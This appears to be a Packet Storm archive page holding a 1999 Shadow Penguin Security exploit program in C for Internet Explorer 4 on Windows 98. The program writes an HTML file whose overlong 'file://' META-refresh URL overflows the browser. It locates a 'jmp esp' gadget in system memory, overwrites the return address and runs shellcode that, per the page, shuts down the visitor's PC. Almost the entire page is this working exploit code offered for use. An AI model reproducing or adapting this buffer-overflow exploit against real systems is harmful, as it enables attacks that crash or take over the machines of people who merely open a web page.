Microsoft Internet Explorer 4/5 overflows when the handling of "file://" specification. We coded the following sample codes. This codes generates the HTML file that reboots the client PC if the visitor uses IE4 for Windows98.
042079790a6a4e9b858fb430e1f60928c5954d79784d84570c99351187dc48e4/*=============================================================================
Microsoft IE4 for Windows98 exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <windows.h>
#define MAXBUF 1000
#define RETADR 53
unsigned int mems[]={
0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000,
0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000,
0xbfee0000,0xbfee5000,0xbff20000,0xbff47000,
0xbff50000,0xbff61000,0xbff70000,0xbffc6000,
0xbffc9000,0xbffe3000,0,0};
unsigned char exploit_code[200]={
0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50,
0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48,
0xFF,0xD0,0x00,
};
unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
FILE *fp;
unsigned int i,ip;
unsigned char buf[MAXBUF];
if (argc<2){
printf("usage %s output_htmlfile\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
for (i=0;;i+=2){
if (mems[i]==0){
printf("Can not find jmp code.\n");
exit(1);
}
if ((ip=search_mem(fp,(unsigned char *)mems[i],
(unsigned char *)mems[i+1],0xff,0xe4))!=0) break;
}
printf("Jumping address : %x\n",ip);
memset(buf,0x41,MAXBUF);
buf[RETADR-1]=0x90;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
memcpy(buf+80,exploit_code,strlen(exploit_code));
buf[MAXBUF]=0;
fprintf(fp,"%s/\">\n<HTML>If you are using IE4 for Japanese Windows98, ",buf);
fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR><BR>");
fprintf(fp,"By Shadow Penguin Security (http://shadowpenguin.backsection.net/), Nov.6,1999</HTML>\n");
fclose(fp);
printf("%s created.\n",argv[1]);
return FALSE;
}
© 2022 Packet Storm. All rights reserved.
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